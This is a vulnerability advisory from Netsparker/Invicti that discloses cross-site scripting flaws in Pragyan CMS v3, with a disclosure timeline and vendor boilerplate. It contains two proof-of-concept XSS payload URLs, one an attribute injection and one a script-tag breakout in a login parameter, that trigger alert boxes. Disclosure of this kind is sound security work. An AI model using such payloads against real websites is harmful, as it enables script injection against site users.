XSS Vulnerabilities in Pragyan CMS
Information
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in Pragyan CMS v3
Software: Pragyan CMS v3 and possibly below.
Vendor Homepage: https://github.com/delta/pragyan
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-016
Description
A simple and fast multiuser content management system to organize collaborative web-content.
Details
Pragyan CMS is affected by XSS vulnerabilities in version v3.
Example PoC URLs are as follows:
- Cross-site Scripting
http://example.com/?page=' stYle=x:expre/**/ssion(alert(9)) onmouseover=' &action=loginhttp://example.com/?page=/&action=login(POST : params : user_email)'"--></style></script><script>alert(0x0006DF)</script>
You can read the full article about Cross-site Scripting vulnerabilities from here:
Advisory Timeline
03/03/2014 – First Contact (No reply)
08/04/2014 – Advisory Released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.
